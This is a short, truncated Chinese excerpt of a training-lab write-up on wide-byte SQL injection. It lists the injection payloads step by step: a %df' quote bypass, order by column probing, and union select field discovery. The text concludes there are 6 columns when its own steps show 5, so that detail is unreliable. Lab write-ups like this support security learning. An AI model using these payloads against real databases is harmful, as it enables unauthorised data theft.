墨者學院-SQL注入漏洞測試(寬字節)

寬字節原理自己百度，這是推薦：http://www.zfsec.cn/2018/09/30/寬字節注入/ 先構造payload：%df'  報錯，存在寬字節注入 然後加：%df' oder by 5--+或者%df' order by 5%23(#) 5不報錯，6報錯，所以只有6個字段，聯合查詢 id=-1%df' union select 1,2,3,4,5%23,發現3，5回顯 id=-1%d

>>阅读原文<<